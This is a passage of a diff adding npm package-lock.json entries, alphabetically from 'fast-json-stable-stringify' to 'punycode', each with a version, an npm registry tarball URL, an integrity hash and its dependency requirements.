+ "resolved": "https://registry.npmjs.org/fast-json-stable-stringify/-/fast-json-stable-stringify-2.1.0.tgz",
+ "integrity": "sha512-lhd/wF+Lk98HZoTCtlVraHtfh5XYijIjalXck7saUtuanSDyLMxnHhSXEDJqHxD7msR8D0uCmqlkwjCV8xvwHw=="
+ },
+ "fd-slicer": {
+ "version": "1.1.0",
+ "resolved": "https://registry.npmjs.org/fd-slicer/-/fd-slicer-1.1.0.tgz",
+ "integrity": "sha1-JcfInLH5B3+IkbvmHY85Dq4lbx4=",
+ "requires": {
+ "pend": "~1.2.0"
+ }
+ },
+ "file-type": {
+ "version": "11.1.0",
+ "resolved": "https://registry.npmjs.org/file-type/-/file-type-11.1.0.tgz",
+ "integrity": "sha512-rM0UO7Qm9K7TWTtA6AShI/t7H5BPjDeGVDaNyg9BjHAj3PysKy7+8C8D137R88jnR3rFJZQB/tFgydl5sN5m7g=="
+ },
+ "filename-reserved-regex": {
+ "version": "2.0.0",
+ "resolved": "https://registry.npmjs.org/filename-reserved-regex/-/filename-reserved-regex-2.0.0.tgz",
+ "integrity": "sha1-q/c9+rc10EVECr/qLZHzieu/oik="
+ },
+ "filenamify": {
+ "version": "3.0.0",
+ "resolved": "https://registry.npmjs.org/filenamify/-/filenamify-3.0.0.tgz",
+ "integrity": "sha512-5EFZ//MsvJgXjBAFJ+Bh2YaCTRF/VP1YOmGrgt+KJ4SFRLjI87EIdwLLuT6wQX0I4F9W41xutobzczjsOKlI/g==",
+ "requires": {
+ "filename-reserved-regex": "^2.0.0",
+ "strip-outer": "^1.0.0",
+ "trim-repeated": "^1.0.0"
+ }
+ },
+ "follow-redirects": {
+ "version": "1.13.0",
+ "resolved": "https://registry.npmjs.org/follow-redirects/-/follow-redirects-1.13.0.tgz",
+ "integrity": "sha512-aq6gF1BEKje4a9i9+5jimNFIpq4Q1WiwBToeRK5NvZBd/TRsmW8BsJfOEGkr76TbOyPVD3OVDN910EcUNtRYEA=="
+ },
+ "forever-agent": {
+ "version": "0.6.1",
+ "resolved": "https://registry.npmjs.org/forever-agent/-/forever-agent-0.6.1.tgz",
+ "integrity": "sha1-+8cfDEGt6zf5bFd60e1C2P2sypE="
+ },
+ "form-data": {
+ "version": "2.3.3",
+ "resolved": "https://registry.npmjs.org/form-data/-/form-data-2.3.3.tgz",
+ "integrity": "sha512-1lLKB2Mu3aGP1Q/2eCOx0fNbRMe7XdwktwOruhfqqd0rIJWwN4Dh+E3hrPSlDCXnSR7UtZ1N38rVXm+6+MEhJQ==",
+ "requires": {
+ "asynckit": "^0.4.0",
+ "combined-stream": "^1.0.6",
+ "mime-types": "^2.1.12"
+ }
+ },
+ "from2": {
+ "version": "2.3.0",
+ "resolved": "https://registry.npmjs.org/from2/-/from2-2.3.0.tgz",
+ "integrity": "sha1-i/tVAr3kpNNs/e6gB/zKIdfjgq8=",
+ "requires": {
+ "inherits": "^2.0.1",
+ "readable-stream": "^2.0.0"
+ }
+ },
+ "fs-constants": {
+ "version": "1.0.0",
+ "resolved": "https://registry.npmjs.org/fs-constants/-/fs-constants-1.0.0.tgz",
+ "integrity": "sha512-y6OAwoSIf7FyjMIv94u+b5rdheZEjzR63GTyZJm5qh4Bi+2YgwLCcI/fPFZkL5PSixOt6ZNKm+w+Hfp/Bciwow=="
+ },
+ "get-stream": {
+ "version": "4.1.0",
+ "resolved": "https://registry.npmjs.org/get-stream/-/get-stream-4.1.0.tgz",
+ "integrity": "sha512-GMat4EJ5161kIy2HevLlr4luNjBgvmj413KaQA7jt4V8B4RDsfpHk7WQ9GVqfYyyx8OS/L66Kox+rJRNklLK7w==",
+ "requires": {
+ "pump": "^3.0.0"
+ }
+ },
+ "getpass": {
+ "version": "0.1.7",
+ "resolved": "https://registry.npmjs.org/getpass/-/getpass-0.1.7.tgz",
+ "integrity": "sha1-Xv+OPmhNVprkyysSgmBOi6YhSfo=",
+ "requires": {
+ "assert-plus": "^1.0.0"
+ }
+ },
+ "got": {
+ "version": "11.8.0",
+ "resolved": "https://registry.npmjs.org/got/-/got-11.8.0.tgz",
+ "integrity": "sha512-k9noyoIIY9EejuhaBNLyZ31D5328LeqnyPNXJQb2XlJZcKakLqN5m6O/ikhq/0lw56kUYS54fVm+D1x57YC9oQ==",
+ "requires": {
+ "@sindresorhus/is": "^4.0.0",
+ "@szmarczak/http-timer": "^4.0.5",
+ "@types/cacheable-request": "^6.0.1",
+ "@types/responselike": "^1.0.0",
+ "cacheable-lookup": "^5.0.3",
+ "cacheable-request": "^7.0.1",
+ "decompress-response": "^6.0.0",
+ "http2-wrapper": "^1.0.0-beta.5.2",
+ "lowercase-keys": "^2.0.0",
+ "p-cancelable": "^2.0.0",
+ "responselike": "^2.0.0"
+ },
+ "dependencies": {
+ "@sindresorhus/is": {
+ "version": "4.0.0",
+ "resolved": "https://registry.npmjs.org/@sindresorhus/is/-/is-4.0.0.tgz",
+ "integrity": "sha512-FyD2meJpDPjyNQejSjvnhpgI/azsQkA4lGbuu5BQZfjvJ9cbRZXzeWL2HceCekW4lixO9JPesIIQkSoLjeJHNQ=="
+ },
+ "cacheable-request": {
+ "version": "7.0.1",
+ "resolved": "https://registry.npmjs.org/cacheable-request/-/cacheable-request-7.0.1.tgz",
+ "integrity": "sha512-lt0mJ6YAnsrBErpTMWeu5kl/tg9xMAWjavYTN6VQXM1A/teBITuNcccXsCxF0tDQQJf9DfAaX5O4e0zp0KlfZw==",
+ "requires": {
+ "clone-response": "^1.0.2",
+ "get-stream": "^5.1.0",
+ "http-cache-semantics": "^4.0.0",
+ "keyv": "^4.0.0",
+ "lowercase-keys": "^2.0.0",
+ "normalize-url": "^4.1.0",
+ "responselike": "^2.0.0"
+ }
+ },
+ "decompress-response": {
+ "version": "6.0.0",
+ "resolved": "https://registry.npmjs.org/decompress-response/-/decompress-response-6.0.0.tgz",
+ "integrity": "sha512-aW35yZM6Bb/4oJlZncMH2LCoZtJXTRxES17vE3hoRiowU2kWHaJKFkSBDnDR+cm9J+9QhXmREyIfv0pji9ejCQ==",
+ "requires": {
+ "mimic-response": "^3.1.0"
+ }
+ },
+ "get-stream": {
+ "version": "5.2.0",
+ "resolved": "https://registry.npmjs.org/get-stream/-/get-stream-5.2.0.tgz",
+ "integrity": "sha512-nBF+F1rAZVCu/p7rjzgA+Yb4lfYXrpl7a6VmJrU8wF9I1CKvP/QwPNZHnOlwbTkY6dvtFIzFMSyQXbLoTQPRpA==",
+ "requires": {
+ "pump": "^3.0.0"
+ }
+ },
+ "http-cache-semantics": {
+ "version": "4.1.0",
+ "resolved": "https://registry.npmjs.org/http-cache-semantics/-/http-cache-semantics-4.1.0.tgz",
+ "integrity": "sha512-carPklcUh7ROWRK7Cv27RPtdhYhUsela/ue5/jKzjegVvXDqM2ILE9Q2BGn9JZJh1g87cp56su/FgQSzcWS8cQ=="
+ },
+ "json-buffer": {
+ "version": "3.0.1",
+ "resolved": "https://registry.npmjs.org/json-buffer/-/json-buffer-3.0.1.tgz",
+ "integrity": "sha512-4bV5BfR2mqfQTJm+V5tPPdf+ZpuhiIvTuAB5g8kcrXOZpTT/QwwVRWBywX1ozr6lEuPdbHxwaJlm9G6mI2sfSQ=="
+ },
+ "keyv": {
+ "version": "4.0.3",
+ "resolved": "https://registry.npmjs.org/keyv/-/keyv-4.0.3.tgz",
+ "integrity": "sha512-zdGa2TOpSZPq5mU6iowDARnMBZgtCqJ11dJROFi6tg6kTn4nuUdU09lFyLFSaHrWqpIJ+EBq4E8/Dc0Vx5vLdA==",
+ "requires": {
+ "json-buffer": "3.0.1"
+ }
+ },
+ "lowercase-keys": {
+ "version": "2.0.0",
+ "resolved": "https://registry.npmjs.org/lowercase-keys/-/lowercase-keys-2.0.0.tgz",
+ "integrity": "sha512-tqNXrS78oMOE73NMxK4EMLQsQowWf8jKooH9g7xPavRT706R6bkQJ6DY2Te7QukaZsulxa30wQ7bk0pm4XiHmA=="
+ },
+ "mimic-response": {
+ "version": "3.1.0",
+ "resolved": "https://registry.npmjs.org/mimic-response/-/mimic-response-3.1.0.tgz",
+ "integrity": "sha512-z0yWI+4FDrrweS8Zmt4Ej5HdJmky15+L2e6Wgn3+iK5fWzb6T3fhNFq2+MeTRb064c6Wr4N/wv0DzQTjNzHNGQ=="
+ },
+ "normalize-url": {
+ "version": "4.5.0",
+ "resolved": "https://registry.npmjs.org/normalize-url/-/normalize-url-4.5.0.tgz",
+ "integrity": "sha512-2s47yzUxdexf1OhyRi4Em83iQk0aPvwTddtFz4hnSSw9dCEsLEGf6SwIO8ss/19S9iBb5sJaOuTvTGDeZI00BQ=="
+ },
+ "p-cancelable": {
+ "version": "2.0.0",
+ "resolved": "https://registry.npmjs.org/p-cancelable/-/p-cancelable-2.0.0.tgz",
+ "integrity": "sha512-wvPXDmbMmu2ksjkB4Z3nZWTSkJEb9lqVdMaCKpZUGJG9TMiNp9XcbG3fn9fPKjem04fJMJnXoyFPk2FmgiaiNg=="
+ },
+ "responselike": {
+ "version": "2.0.0",
+ "resolved": "https://registry.npmjs.org/responselike/-/responselike-2.0.0.tgz",
+ "integrity": "sha512-xH48u3FTB9VsZw7R+vvgaKeLKzT6jOogbQhEe/jewwnZgzPcnyWui2Av6JpoYZF/91uueC+lqhWqeURw5/qhCw==",
+ "requires": {
+ "lowercase-keys": "^2.0.0"
+ }
+ }
+ }
+ },
+ "graceful-fs": {
+ "version": "4.2.4",
+ "resolved": "https://registry.npmjs.org/graceful-fs/-/graceful-fs-4.2.4.tgz",
+ "integrity": "sha512-WjKPNJF79dtJAVniUlGGWHYGz2jWxT6VhN/4m1NdkbZ2nOsEF+cI1Edgql5zCRhs/VsQYRvrXctxktVXZUkixw=="
+ },
+ "har-schema": {
+ "version": "2.0.0",
+ "resolved": "https://registry.npmjs.org/har-schema/-/har-schema-2.0.0.tgz",
+ "integrity": "sha1-qUwiJOvKwEeCoNkDVSHyRzW37JI="
+ },
+ "har-validator": {
+ "version": "5.1.5",
+ "resolved": "https://registry.npmjs.org/har-validator/-/har-validator-5.1.5.tgz",
+ "integrity": "sha512-nmT2T0lljbxdQZfspsno9hgrG3Uir6Ks5afism62poxqBM6sDnMEuPmzTq8XN0OEwqKLLdh1jQI3qyE66Nzb3w==",
+ "requires": {
+ "ajv": "^6.12.3",
+ "har-schema": "^2.0.0"
+ }
+ },
+ "has-symbol-support-x": {
+ "version": "1.4.2",
+ "resolved": "https://registry.npmjs.org/has-symbol-support-x/-/has-symbol-support-x-1.4.2.tgz",
+ "integrity": "sha512-3ToOva++HaW+eCpgqZrCfN51IPB+7bJNVT6CUATzueB5Heb8o6Nam0V3HG5dlDvZU1Gn5QLcbahiKw/XVk5JJw=="
+ },
+ "has-to-string-tag-x": {
+ "version": "1.4.1",
+ "resolved": "https://registry.npmjs.org/has-to-string-tag-x/-/has-to-string-tag-x-1.4.1.tgz",
+ "integrity": "sha512-vdbKfmw+3LoOYVr+mtxHaX5a96+0f3DljYd8JOqvOLsf5mw2Otda2qCDT9qRqLAhrjyQ0h7ual5nOiASpsGNFw==",
+ "requires": {
+ "has-symbol-support-x": "^1.4.1"
+ }
+ },
+ "he": {
+ "version": "1.2.0",
+ "resolved": "https://registry.npmjs.org/he/-/he-1.2.0.tgz",
+ "integrity": "sha512-F/1DnUGPopORZi0ni+CvrCgHQ5FyEAHRLSApuYWMmrbSwoN2Mn/7k+Gl38gJnR7yyDZk6WLXwiGod1JOWNDKGw=="
+ },
+ "http-cache-semantics": {
+ "version": "3.8.1",
+ "resolved": "https://registry.npmjs.org/http-cache-semantics/-/http-cache-semantics-3.8.1.tgz",
+ "integrity": "sha512-5ai2iksyV8ZXmnZhHH4rWPoxxistEexSi5936zIQ1bnNTW5VnA85B6P/VpXiRM017IgRvb2kKo1a//y+0wSp3w=="
+ },
+ "http-proxy": {
+ "version": "1.18.1",
+ "resolved": "https://registry.npmjs.org/http-proxy/-/http-proxy-1.18.1.tgz",
+ "integrity": "sha512-7mz/721AbnJwIVbnaSv1Cz3Am0ZLT/UBwkC92VlxhXv/k/BBQfM2fXElQNC27BVGr0uwUpplYPQM9LnaBMR5NQ==",
+ "requires": {
+ "eventemitter3": "^4.0.0",
+ "follow-redirects": "^1.0.0",
+ "requires-port": "^1.0.0"
+ }
+ },
+ "http-server": {
+ "version": "0.12.3",
+ "resolved": "https://registry.npmjs.org/http-server/-/http-server-0.12.3.tgz",
+ "integrity": "sha512-be0dKG6pni92bRjq0kvExtj/NrrAd28/8fCXkaI/4piTwQMSDSLMhWyW0NI1V+DBI3aa1HMlQu46/HjVLfmugA==",
+ "requires": {
+ "basic-auth": "^1.0.3",
+ "colors": "^1.4.0",
+ "corser": "^2.0.1",
+ "ecstatic": "^3.3.2",
+ "http-proxy": "^1.18.0",
+ "minimist": "^1.2.5",
+ "opener": "^1.5.1",
+ "portfinder": "^1.0.25",
+ "secure-compare": "3.0.1",
+ "union": "~0.5.0"
+ }
+ },
+ "http-signature": {
+ "version": "1.2.0",
+ "resolved": "https://registry.npmjs.org/http-signature/-/http-signature-1.2.0.tgz",
+ "integrity": "sha1-muzZJRFHcvPZW2WmCruPfBj7rOE=",
+ "requires": {
+ "assert-plus": "^1.0.0",
+ "jsprim": "^1.2.2",
+ "sshpk": "^1.7.0"
+ }
+ },
+ "http2-wrapper": {
+ "version": "1.0.0-beta.5.2",
+ "resolved": "https://registry.npmjs.org/http2-wrapper/-/http2-wrapper-1.0.0-beta.5.2.tgz",
+ "integrity": "sha512-xYz9goEyBnC8XwXDTuC/MZ6t+MrKVQZOk4s7+PaDkwIsQd8IwqvM+0M6bA/2lvG8GHXcPdf+MejTUeO2LCPCeQ==",
+ "requires": {
+ "quick-lru": "^5.1.1",
+ "resolve-alpn": "^1.0.0"
+ }
+ },
+ "ieee754": {
+ "version": "1.2.1",
+ "resolved": "https://registry.npmjs.org/ieee754/-/ieee754-1.2.1.tgz",
+ "integrity": "sha512-dcyqhDvX1C46lXZcVqCpK+FtMRQVdIMN6/Df5js2zouUsqG7I6sFxitIC+7KYK29KdXOLHdu9zL4sFnoVQnqaA=="
+ },
+ "inherits": {
+ "version": "2.0.4",
+ "resolved": "https://registry.npmjs.org/inherits/-/inherits-2.0.4.tgz",
+ "integrity": "sha512-k/vGaX4/Yla3WzyMCvTQOXYeIHvqOKtnqBduzTHpzpQZzAskKMhZ2K+EnBiSM9zGSoIFeMpXKxa4dYeZIQqewQ=="
+ },
+ "into-stream": {
+ "version": "3.1.0",
+ "resolved": "https://registry.npmjs.org/into-stream/-/into-stream-3.1.0.tgz",
+ "integrity": "sha1-lvsKk2wSur1v8XUqF9BWFqvQlMY=",
+ "requires": {
+ "from2": "^2.1.1",
+ "p-is-promise": "^1.1.0"
+ }
+ },
+ "is-natural-number": {
+ "version": "4.0.1",
+ "resolved": "https://registry.npmjs.org/is-natural-number/-/is-natural-number-4.0.1.tgz",
+ "integrity": "sha1-q5124dtM7VHjXeDHLr7PCfc0zeg="
+ },
+ "is-object": {
+ "version": "1.0.1",
+ "resolved": "https://registry.npmjs.org/is-object/-/is-object-1.0.1.tgz",
+ "integrity": "sha1-iVJojF7C/9awPsyF52ngKQMINHA="
+ },
+ "is-plain-obj": {
+ "version": "1.1.0",
+ "resolved": "https://registry.npmjs.org/is-plain-obj/-/is-plain-obj-1.1.0.tgz",
+ "integrity": "sha1-caUMhCnfync8kqOQpKA7OfzVHT4="
+ },
+ "is-retry-allowed": {
+ "version": "1.2.0",
+ "resolved": "https://registry.npmjs.org/is-retry-allowed/-/is-retry-allowed-1.2.0.tgz",
+ "integrity": "sha512-RUbUeKwvm3XG2VYamhJL1xFktgjvPzL0Hq8C+6yrWIswDy3BIXGqCxhxkc30N9jqK311gVU137K8Ei55/zVJRg=="
+ },
+ "is-stream": {
+ "version": "1.1.0",
+ "resolved": "https://registry.npmjs.org/is-stream/-/is-stream-1.1.0.tgz",
+ "integrity": "sha1-EtSj3U5o4Lec6428hBc66A2RykQ="
+ },
+ "is-typedarray": {
+ "version": "1.0.0",
+ "resolved": "https://registry.npmjs.org/is-typedarray/-/is-typedarray-1.0.0.tgz",
+ "integrity": "sha1-5HnICFjfDBsR3dppQPlgEfzaSpo="
+ },
+ "isarray": {
+ "version": "1.0.0",
+ "resolved": "https://registry.npmjs.org/isarray/-/isarray-1.0.0.tgz",
+ "integrity": "sha1-u5NdSFgsuhaMBoNJV6VKPgcSTxE="
+ },
+ "isstream": {
+ "version": "0.1.2",
+ "resolved": "https://registry.npmjs.org/isstream/-/isstream-0.1.2.tgz",
+ "integrity": "sha1-R+Y/evVa+m+S4VAOaQ64uFKcCZo="
+ },
+ "isurl": {
+ "version": "1.0.0",
+ "resolved": "https://registry.npmjs.org/isurl/-/isurl-1.0.0.tgz",
+ "integrity": "sha512-1P/yWsxPlDtn7QeRD+ULKQPaIaN6yF368GZ2vDfv0AL0NwpStafjWCDDdn0k8wgFMWpVAqG7oJhxHnlud42i9w==",
+ "requires": {
+ "has-to-string-tag-x": "^1.2.0",
+ "is-object": "^1.0.1"
+ }
+ },
+ "jsbn": {
+ "version": "0.1.1",
+ "resolved": "https://registry.npmjs.org/jsbn/-/jsbn-0.1.1.tgz",
+ "integrity": "sha1-peZUwuWi3rXyAdls77yoDA7y9RM="
+ },
+ "json-buffer": {
+ "version": "3.0.0",
+ "resolved": "https://registry.npmjs.org/json-buffer/-/json-buffer-3.0.0.tgz",
+ "integrity": "sha1-Wx85evx11ne96Lz8Dkfh+aPZqJg="
+ },
+ "json-schema": {
+ "version": "0.2.3",
+ "resolved": "https://registry.npmjs.org/json-schema/-/json-schema-0.2.3.tgz",
+ "integrity": "sha1-tIDIkuWaLwWVTOcnvT8qTogvnhM="
+ },
+ "json-schema-traverse": {
+ "version": "0.4.1",
+ "resolved": "https://registry.npmjs.org/json-schema-traverse/-/json-schema-traverse-0.4.1.tgz",
+ "integrity": "sha512-xbbCH5dCYU5T8LcEhhuh7HJ88HXuW3qsI3Y0zOZFKfZEHcpWiHU/Jxzk629Brsab/mMiHQti9wMP+845RPe3Vg=="
+ },
+ "json-stringify-safe": {
+ "version": "5.0.1",
+ "resolved": "https://registry.npmjs.org/json-stringify-safe/-/json-stringify-safe-5.0.1.tgz",
+ "integrity": "sha1-Epai1Y/UXxmg9s4B1lcB4sc1tus="
+ },
+ "jsprim": {
+ "version": "1.4.1",
+ "resolved": "https://registry.npmjs.org/jsprim/-/jsprim-1.4.1.tgz",
+ "integrity": "sha1-MT5mvB5cwG5Di8G3SZwuXFastqI=",
+ "requires": {
+ "assert-plus": "1.0.0",
+ "extsprintf": "1.3.0",
+ "json-schema": "0.2.3",
+ "verror": "1.10.0"
+ }
+ },
+ "keyv": {
+ "version": "3.0.0",
+ "resolved": "https://registry.npmjs.org/keyv/-/keyv-3.0.0.tgz",
+ "integrity": "sha512-eguHnq22OE3uVoSYG0LVWNP+4ppamWr9+zWBe1bsNcovIMy6huUJFPgy4mGwCd/rnl3vOLGW1MTlu4c57CT1xA==",
+ "requires": {
+ "json-buffer": "3.0.0"
+ }
+ },
+ "lodash": {
+ "version": "4.17.20",
+ "resolved": "https://registry.npmjs.org/lodash/-/lodash-4.17.20.tgz",
+ "integrity": "sha512-PlhdFcillOINfeV7Ni6oF1TAEayyZBoZ8bcshTHqOYJYlrqzRK5hagpagky5o4HfCzzd1TRkXPMFq6cKk9rGmA=="
+ },
+ "lowercase-keys": {
+ "version": "1.0.1",
+ "resolved": "https://registry.npmjs.org/lowercase-keys/-/lowercase-keys-1.0.1.tgz",
+ "integrity": "sha512-G2Lj61tXDnVFFOi8VZds+SoQjtQC3dgokKdDG2mTm1tx4m50NUHBOZSBwQQHyy0V12A0JTG4icfZQH+xPyh8VA=="
+ },
+ "make-dir": {
+ "version": "2.1.0",
+ "resolved": "https://registry.npmjs.org/make-dir/-/make-dir-2.1.0.tgz",
+ "integrity": "sha512-LS9X+dc8KLxXCb8dni79fLIIUA5VyZoyjSMCwTluaXA0o27cCK0bhXkpgw+sTXVpPy/lSO57ilRixqk0vDmtRA==",
+ "requires": {
+ "pify": "^4.0.1",
+ "semver": "^5.6.0"
+ }
+ },
+ "mime": {
+ "version": "1.6.0",
+ "resolved": "https://registry.npmjs.org/mime/-/mime-1.6.0.tgz",
+ "integrity": "sha512-x0Vn8spI+wuJ1O6S7gnbaQg8Pxh4NNHb7KSINmEWKiPE4RKOplvijn+NkmYmmRgP68mc70j2EbeTFRsrswaQeg=="
+ },
+ "mime-db": {
+ "version": "1.45.0",
+ "resolved": "https://registry.npmjs.org/mime-db/-/mime-db-1.45.0.tgz",
+ "integrity": "sha512-CkqLUxUk15hofLoLyljJSrukZi8mAtgd+yE5uO4tqRZsdsAJKv0O+rFMhVDRJgozy+yG6md5KwuXhD4ocIoP+w=="
+ },
+ "mime-types": {
+ "version": "2.1.27",
+ "resolved": "https://registry.npmjs.org/mime-types/-/mime-types-2.1.27.tgz",
+ "integrity": "sha512-JIhqnCasI9yD+SsmkquHBxTSEuZdQX5BuQnS2Vc7puQQQ+8yiP5AY5uWhpdv4YL4VM5c6iliiYWPgJ/nJQLp7w==",
+ "requires": {
+ "mime-db": "1.44.0"
+ },
+ "dependencies": {
+ "mime-db": {
+ "version": "1.44.0",
+ "resolved": "https://registry.npmjs.org/mime-db/-/mime-db-1.44.0.tgz",
+ "integrity": "sha512-/NOTfLrsPBVeH7YtFPgsVWveuL+4SjjYxaQ1xtM1KMFj7HdxlBlxeyNLzhyJVx7r4rZGJAZ/6lkKCitSc/Nmpg=="
+ }
+ }
+ },
+ "mimic-response": {
+ "version": "1.0.1",
+ "resolved": "https://registry.npmjs.org/mimic-response/-/mimic-response-1.0.1.tgz",
+ "integrity": "sha512-j5EctnkH7amfV/q5Hgmoal1g2QHFJRraOtmx0JpIqkxhBhI/lJSl1nMpQ45hVarwNETOoWEimndZ4QK0RHxuxQ=="
+ },
+ "minimist": {
+ "version": "1.2.5",
+ "resolved": "https://registry.npmjs.org/minimist/-/minimist-1.2.5.tgz",
+ "integrity": "sha512-FM9nNUYrRBAELZQT3xeZQ7fmMOBg6nWNmJKTcgsJeaLstP/UODVpGsr5OhXhhXg6f+qtJ8uiZ+PUxkDWcgIXLw=="
+ },
+ "mkdirp": {
+ "version": "0.5.5",
+ "resolved": "https://registry.npmjs.org/mkdirp/-/mkdirp-0.5.5.tgz",
+ "integrity": "sha512-NKmAlESf6jMGym1++R0Ra7wvhV+wFW63FaSOFPwRahvea0gMUcGUhVeAg/0BC0wiv9ih5NYPB1Wn1UEI1/L+xQ==",
+ "requires": {
+ "minimist": "^1.2.5"
+ }
+ },
+ "ms": {
+ "version": "2.1.2",
+ "resolved": "https://registry.npmjs.org/ms/-/ms-2.1.2.tgz",
+ "integrity": "sha512-sGkPx+VjMtmA6MX27oA4FBFELFCZZ4S4XqeGOXCv68tT+jb3vk/RyaKWP0PTKyWtmLSM0b+adUTEvbs1PEaH2w=="
+ },
+ "normalize-url": {
+ "version": "2.0.1",
+ "resolved": "https://registry.npmjs.org/normalize-url/-/normalize-url-2.0.1.tgz",
+ "integrity": "sha512-D6MUW4K/VzoJ4rJ01JFKxDrtY1v9wrgzCX5f2qj/lzH1m/lW6MhUZFKerVsnyjOhOsYzI9Kqqak+10l4LvLpMw==",
+ "requires": {
+ "prepend-http": "^2.0.0",
+ "query-string": "^5.0.1",
+ "sort-keys": "^2.0.0"
+ },
+ "dependencies": {
+ "sort-keys": {
+ "version": "2.0.0",
+ "resolved": "https://registry.npmjs.org/sort-keys/-/sort-keys-2.0.0.tgz",
+ "integrity": "sha1-ZYU1WEhh7JfXMNbPQYIuH1ZoQSg=",
+ "requires": {
+ "is-plain-obj": "^1.0.0"
+ }
+ }
+ }
+ },
+ "oauth-sign": {
+ "version": "0.9.0",
+ "resolved": "https://registry.npmjs.org/oauth-sign/-/oauth-sign-0.9.0.tgz",
+ "integrity": "sha512-fexhUFFPTGV8ybAtSIGbV6gOkSv8UtRbDBnAyLQw4QPKkgNlsH2ByPGtMUqdWkos6YCRmAqViwgZrJc/mRDzZQ=="
+ },
+ "object-assign": {
+ "version": "4.1.1",
+ "resolved": "https://registry.npmjs.org/object-assign/-/object-assign-4.1.1.tgz",
+ "integrity": "sha1-IQmtx5ZYh8/AXLvUQsrIv7s2CGM="
+ },
+ "once": {
+ "version": "1.4.0",
+ "resolved": "https://registry.npmjs.org/once/-/once-1.4.0.tgz",
+ "integrity": "sha1-WDsap3WWHUsROsF9nFC6753Xa9E=",
+ "requires": {
+ "wrappy": "1"
+ }
+ },
+ "opener": {
+ "version": "1.5.2",
+ "resolved": "https://registry.npmjs.org/opener/-/opener-1.5.2.tgz",
+ "integrity": "sha512-ur5UIdyw5Y7yEj9wLzhqXiy6GZ3Mwx0yGI+5sMn2r0N0v3cKJvUmFH5yPP+WXh9e0xfyzyJX95D8l088DNFj7A=="
+ },
+ "p-cancelable": {
+ "version": "0.4.1",
+ "resolved": "https://registry.npmjs.org/p-cancelable/-/p-cancelable-0.4.1.tgz",
+ "integrity": "sha512-HNa1A8LvB1kie7cERyy21VNeHb2CWJJYqyyC2o3klWFfMGlFmWv2Z7sFgZH8ZiaYL95ydToKTFVXgMV/Os0bBQ=="
+ },
+ "p-event": {
+ "version": "2.3.1",
+ "resolved": "https://registry.npmjs.org/p-event/-/p-event-2.3.1.tgz",
+ "integrity": "sha512-NQCqOFhbpVTMX4qMe8PF8lbGtzZ+LCiN7pcNrb/413Na7+TRoe1xkKUzuWa/YEJdGQ0FvKtj35EEbDoVPO2kbA==",
+ "requires": {
+ "p-timeout": "^2.0.1"
+ }
+ },
+ "p-finally": {
+ "version": "1.0.0",
+ "resolved": "https://registry.npmjs.org/p-finally/-/p-finally-1.0.0.tgz",
+ "integrity": "sha1-P7z7FbiZpEEjs0ttzBi3JDNqLK4="
+ },
+ "p-is-promise": {
+ "version": "1.1.0",
+ "resolved": "https://registry.npmjs.org/p-is-promise/-/p-is-promise-1.1.0.tgz",
+ "integrity": "sha1-nJRWmJ6fZYgBewQ01WCXZ1w9oF4="
+ },
+ "p-timeout": {
+ "version": "2.0.1",
+ "resolved": "https://registry.npmjs.org/p-timeout/-/p-timeout-2.0.1.tgz",
+ "integrity": "sha512-88em58dDVB/KzPEx1X0N3LwFfYZPyDc4B6eF38M1rk9VTZMbxXXgjugz8mmwpS9Ox4BDZ+t6t3QP5+/gazweIA==",
+ "requires": {
+ "p-finally": "^1.0.0"
+ }
+ },
+ "pend": {
+ "version": "1.2.0",
+ "resolved": "https://registry.npmjs.org/pend/-/pend-1.2.0.tgz",
+ "integrity": "sha1-elfrVQpng/kRUzH89GY9XI4AelA="
+ },
+ "performance-now": {
+ "version": "2.1.0",
+ "resolved": "https://registry.npmjs.org/performance-now/-/performance-now-2.1.0.tgz",
+ "integrity": "sha1-Ywn04OX6kT7BxpMHrjZLSzd8nns="
+ },
+ "pify": {
+ "version": "4.0.1",
+ "resolved": "https://registry.npmjs.org/pify/-/pify-4.0.1.tgz",
+ "integrity": "sha512-uB80kBFb/tfd68bVleG9T5GGsGPjJrLAUpR5PZIrhBnIaRTQRjqdJSsIKkOP6OAIFbj7GOrcudc5pNjZ+geV2g=="
+ },
+ "pinkie": {
+ "version": "2.0.4",
+ "resolved": "https://registry.npmjs.org/pinkie/-/pinkie-2.0.4.tgz",
+ "integrity": "sha1-clVrgM+g1IqXToDnckjoDtT3+HA="
+ },
+ "pinkie-promise": {
+ "version": "2.0.1",
+ "resolved": "https://registry.npmjs.org/pinkie-promise/-/pinkie-promise-2.0.1.tgz",
+ "integrity": "sha1-ITXW36ejWMBprJsXh3YogihFD/o=",
+ "requires": {
+ "pinkie": "^2.0.0"
+ }
+ },
+ "portfinder": {
+ "version": "1.0.28",
+ "resolved": "https://registry.npmjs.org/portfinder/-/portfinder-1.0.28.tgz",
+ "integrity": "sha512-Se+2isanIcEqf2XMHjyUKskczxbPH7dQnlMjXX6+dybayyHvAf/TCgyMRlzf/B6QDhAEFOGes0pzRo3by4AbMA==",
+ "requires": {
+ "async": "^2.6.2",
+ "debug": "^3.1.1",
+ "mkdirp": "^0.5.5"
+ }
+ },
+ "prepend-http": {
+ "version": "2.0.0",
+ "resolved": "https://registry.npmjs.org/prepend-http/-/prepend-http-2.0.0.tgz",
+ "integrity": "sha1-6SQ0v6XqjBn0HN/UAddBo8gZ2Jc="
+ },
+ "process-nextick-args": {
+ "version": "2.0.1",
+ "resolved": "https://registry.npmjs.org/process-nextick-args/-/process-nextick-args-2.0.1.tgz",
+ "integrity": "sha512-3ouUOpQhtgrbOa17J7+uxOTpITYWaGP7/AhoR3+A+/1e9skrzelGi/dXzEYyvbxubEF6Wn2ypscTKiKJFFn1ag=="
+ },
+ "psl": {
+ "version": "1.8.0",
+ "resolved": "https://registry.npmjs.org/psl/-/psl-1.8.0.tgz",
+ "integrity": "sha512-RIdOzyoavK+hA18OGGWDqUTsCLhtA7IcZ/6NCs4fFJaHBDab+pDDmDIByWFRQJq2Cd7r1OoQxBGKOaztq+hjIQ=="
+ },
+ "pump": {
+ "version": "3.0.0",
+ "resolved": "https://registry.npmjs.org/pump/-/pump-3.0.0.tgz",
+ "integrity": "sha512-LwZy+p3SFs1Pytd/jYct4wpv49HiYCqd9Rlc5ZVdk0V+8Yzv6jR5Blk3TRmPL1ft69TxP0IMZGJ+WPFU2BFhww==",
+ "requires": {
+ "end-of-stream": "^1.1.0",
+ "once": "^1.3.1"
+ }
+ },
+ "punycode": {
+ "version": "2.1.1",
+ "resolved": "https://registry.npmjs.org/punycode/-/punycode-2.1.1.tgz",
+ "integrity": "sha512-XRsRjdf+j5ml+y/6GKHPZbrF/8p2Yga0JPtdqTIY2Xe5ohJPD9saDJJLPvp9+NSBprVvevdXZybnj2cv8OEd0A=="
+ },
